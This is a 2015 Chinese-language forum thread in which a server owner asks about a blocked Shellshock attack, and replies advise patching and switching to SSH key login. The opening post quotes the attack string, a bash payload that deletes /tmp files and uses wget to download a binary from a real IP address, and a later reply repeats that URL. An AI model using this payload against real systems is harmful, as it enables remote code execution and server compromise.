krytor
V2EX  ›  编程

安全问题 关于破壳攻击的

  •  
  •   krytor · Jun 23, 2015 · 3475 views
    This topic created in 4163 days ago, the information mentioned may be changed or developed.

    问题:
    服务器被攻击 攻击url:
    x.x.x,x/ Match1:{ :; }; /bin/bash -c .rm -rf /tmp/*;echo wget http://222.186.30.161:1003/ok_xiaoma_32_64 -o /tmp/c...

    我的是阿里云
    centos 6.5
    攻击已经被阿里云给拦截了

    请问严重吗,我的密码也被暴利破解过,也被阿里云给挡住了。
    我该怎么做防护,杜绝这类攻击,谢谢。

    13 replies  •  2015-06-24 06:50:18 +08:00
    krytor
    krytor
    OP
    Jun 23, 2015
    1
    我给阿里云打了个电话,客服说装个杀毒软件,杀一下毒,装个安全狗啥的,好不好啊 -_-
    Septembers
    Septembers
    Jun 23, 2015
    2
    @phoenixlzx archlinux 每天上去滚一次
    liuyi_beta
    liuyi_beta
    Jun 23, 2015
    3
    话说你的是Linux/Unix 系统啊,客服竟然让你安装杀毒软件。。。 及时安装补丁就好了,另外登陆只用证书就好了,关掉密码登陆,将端口改到不常用端口,网站的话可以考虑安装安全狗。
    pwinner
    pwinner
    Jun 23, 2015 via Android
    4
    杀毒软件。。你在说calm av么233
    只用证书登录就安全多啦
    virusdefender
    virusdefender
    Jun 23, 2015
    5
    这个只是扫描而已 如果服务器不存在漏洞可以不用管
    phy25
    phy25
    Jun 23, 2015
    6
    然而你暴露了一个地址 http://222.186.30.161:1003/ 可以拿它来做什么呢 :doge:
    krytor
    krytor
    OP
    Jun 23, 2015
    7
    @Septembers 啥意思啊
    krytor
    krytor
    OP
    Jun 23, 2015
    8
    @pwinner 是和 aws似得那样的证书吗,阿里没提供啊
    krytor
    krytor
    OP
    Jun 23, 2015
    9
    @virusdefender 是给我网站上传可执行文件 ,这个 http://222.186.30.161:1003/ok_xiaoma_32_64
    krytor
    krytor
    OP
    Jun 23, 2015
    10
    @phy25 这就是那条狗 给我服务器上传可执行文件
    lk09364
    lk09364
    Jun 23, 2015
    11
    > 我该怎么做防护,杜绝这类攻击,谢谢。
    上面提到了——关键字: ssh证书登录
    krytor
    krytor
    OP
    Jun 23, 2015
    12
    @lk09364 奥 多谢, 我见aws都是ssh登陆,我想理解的是 上面那个攻击的目的是什么,获取root权限吗
    pwinner
    pwinner
    Jun 24, 2015 via Android
    13
    @krytor 这不是废话么。。有权限你就是肉鸡了。。。
    About   ·   Help   ·   Advertise   ·   Blog   ·   API   ·   FAQ   ·   Privacy   ·   Solana   ·   2047 Online   Highest 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 38ms · UTC 12:35 · PVG 20:35 · LAX 04:35 · JFK 07:35
    ♥ Do have faith in what you're doing.